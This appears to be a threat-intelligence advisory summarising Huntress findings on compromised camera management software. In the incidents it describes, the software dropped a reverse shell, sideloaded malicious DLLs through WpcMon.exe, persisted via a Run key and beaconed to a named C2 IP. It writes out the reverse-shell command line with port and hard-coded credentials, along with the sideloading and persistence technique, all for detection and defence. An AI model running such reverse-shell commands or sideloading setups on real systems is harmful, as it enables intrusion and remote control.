# Camera Management Software (CMS.exe) Compromise Leads to Reverse Shell Deployment and DLL Sideloading via WpcMon.exe

> Huntress observed multiple customer incidents (September-October 2026) in which a camera management application (CMS.exe) was the initial access vector. Post-compromise activity dropped a reverse shell (rs.win32.exe), sideloaded malicious IPHLPAPI.DLL and samcli.dll through the legitimate Windows binary WpcMon.exe placed in a user-writable path, persisted via a Run key, and beaconed to 144.172.116.37.

- **Published:** 2026-10-28T07:47:46Z
- **Last reviewed:** 2026-10-28T09:36:39.849Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-4619
- **ID:** TL-2026-4619
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Detections:** 9 · **IOCs:** 18 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Huntress analysts investigated several customer environments between September and October 2026 where a camera management application, CMS.exe (installed under C:\Program Files (x86)\CMS\), preceded malicious activity. The executable has no embedded File Version Information and contains the strings 'developerslavery' and 'd3e3v4e3l9o9p0e3r4s2l9a1v4e3r4y6'. Huntress could not determine the full name or vendor of the software and could not locate application logs, so the exact compromise mechanism (trojanized installer, vulnerable component, or other) is unconfirmed. Huntress noted a possible link to the Korean company '3R Global' via the domain 3r-dataware.com and possible distribution via the kvision.ai website; neither link is confirmed.

Post-compromise, a reverse shell named rs.win32.exe was dropped to C:\Users\<user>\AppData\Roaming\CMS\RemoteSetup\ and launched with arguments of the form: rs.win32.exe -i "<IP Address>" -p "8000" -c <file> -r <file> "admin" "1234567a7654321" (reverse connection to a remote IP on port 8000 with hard-coded credentials). The observed process tree was CMS.exe -> rs.win32.exe -> WpcMon.exe.

The actor then staged the legitimate Windows Parental Control Monitor binary WpcMon.exe in an unusual location, C:\Users\<user>\AppData\Local\Microsoft\WpcMon\ (its normal location is C:\Windows\System32), alongside two malicious DLLs, IPHLPAPI.DLL and samcli.dll, which WpcMon.exe sideloads. Both DLLs masquerade as zlib compression libraries but contain beaconing functionality to the C2 address 144.172.116.37. Persistence was established by writing a value to the user's Run registry key so that WpcMon.exe (and therefore the sideloaded DLLs) executes at every login.

No CVE, CVSS score, threat actor or sector/region targeting is stated in the source. Severity HIGH is an analyst assessment based on confirmed in-the-wild compromise with remote shell access. Huntress recommends treating cameras and their management platforms as potential entry points, inventorying and restricting access to such software, monitoring unusual process chains and outbound connections, and applying application control to block unapproved executables and DLLs in user-writable paths.

## MITRE ATT&CK

- T1190 Exploit Public-Facing Application
- T1547.001 Registry Run Keys / Startup Folder
- T1574.001 DLL
- T1574.001 DLL
- T1036 Masquerading
- T1071 Application Layer Protocol
- T1571 Non-Standard Port
- T1574.002 Hijack Execution Flow
- T1574.002 Hijack Execution Flow

## Sources

- [Who Watches the Watchers? Camera Management Software Compromise Leads to Malware Deployment (Huntress)](https://www.huntress.com/blog/camera-management-software-compromise-malware)
- [MITRE ATT&CK T1574.002 - Hijack Execution Flow: DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/)
- [MITRE ATT&CK T1547.001 - Registry Run Keys / Startup Folder](https://attack.mitre.org/techniques/T1547/001/)
- [MITRE ATT&CK T1190 - Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190/)
- [MITRE ATT&CK T1036 - Masquerading](https://attack.mitre.org/techniques/T1036/)
- [MITRE ATT&CK T1571 - Non-Standard Port](https://attack.mitre.org/techniques/T1571/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-4619